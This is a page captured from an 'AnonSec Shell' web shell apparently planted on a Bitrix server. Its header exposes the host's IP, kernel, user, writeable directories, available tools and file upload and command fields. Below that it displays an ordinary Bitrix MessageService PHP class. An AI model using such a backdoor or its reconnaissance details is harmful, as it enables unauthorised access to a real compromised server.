AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.149.213.43
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/messageservice/lib/sender/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/messageservice/lib/sender/base.php
<?php
namespace Bitrix\MessageService\Sender;

use Bitrix\Main\Text\Emoji;
use Bitrix\MessageService\MessageStatus;
use Bitrix\MessageService\MessageType;
use Bitrix\MessageService\Providers;

abstract class Base
{
	protected Providers\Informant $informant;
	protected Providers\Initiator $initiator;
	protected Providers\Sender $sender;

	protected int $socketTimeout = 10;
	protected int $streamTimeout = 30;

	/**
	 * @param int $socketTimeout
	 * @return Base
	 */
	public function setSocketTimeout(int $socketTimeout): Base
	{
		$this->socketTimeout = $socketTimeout;
		return $this;
	}

	/**
	 * @param int $streamTimeout
	 * @return Base
	 */
	public function setStreamTimeout(int $streamTimeout): Base
	{
		$this->streamTimeout = $streamTimeout;
		return $this;
	}

	/**
	 * @return bool
	 */
	public static function isSupported()
	{
		return true;
	}

	/** @deprecated  */
	public static function className()
	{
		return get_called_class();
	}

	public function isConfigurable()
	{
		return false;
	}

	public function getType()
	{
		return MessageType::SMS;
	}

	abstract public function getId();

	public function getExternalId()
	{
		return $this->getType().':'.$this->getId();
	}

	/**
	 * @return string
	 */
	abstract public function getName();

	/**
	 * @return string
	 */
	abstract public function getShortName();

	/**
	 * Check can use state of provider.
	 * @return bool
	 */
	abstract public function canUse();

	abstract public function getFromList();

	/**
	 * Get default From.
	 * @return null|string
	 */
	public function getDefaultFrom()
	{
		$fromList = $this->getFromList();
		$from = isset($fromList[0]) ? $fromList[0]['id'] : null;
		//Try to find alphanumeric from
		foreach ($fromList as $item)
		{
			if (!preg_match('#^[0-9]+$#', $item['id']))
			{
				$from = $item['id'];
				break;
			}
		}
		return $from;
	}

	/**
	 * @return mixed|null
	 */
	public function getFirstFromList()
	{
		$fromList = $this->getFromList();
		if (!is_array($fromList))
		{
			return null;
		}

		foreach ($fromList as $item)
		{
			if (isset($item['id']) && $item['id'])
			{
				return $item['id'];
			}
		}

		return null;
	}

	/**
	 * @param string $from
	 * @return bool
	 */
	public function isCorrectFrom($from)
	{
		$fromList = $this->getFromList();
		foreach ($fromList as $item)
		{
			if ($from === $item['id'])
			{
				return true;
			}
		}
		return false;
	}

	/**
	 * @param array $messageFieldsFields
	 * @return Result\SendMessage Send operation result.
	 */
	abstract public function sendMessage(array $messageFieldsFields);

	/**
	 * Converts service status to internal status
	 * @see \Bitrix\MessageService\MessageStatus
	 * @param mixed $serviceStatus
	 * @return int
	 */
	public static function resolveStatus($serviceStatus)
	{
		return MessageStatus::UNKNOWN;
	}

	public function getManageUrl()
	{
		return $this->isConfigurable() ? '/crm/configs/sms/?sender='.$this->getId() : '';
	}

	/**
	 * Prepares text for message body.
	 */
	public function prepareMessageBodyForSave(string $text): string
	{
		return Emoji::encode($text);
	}

	protected function prepareMessageBodyForSend(string $text): string
	{
		return Emoji::decode($text);
	}
}

Anon7 - 2022
AnonSec Team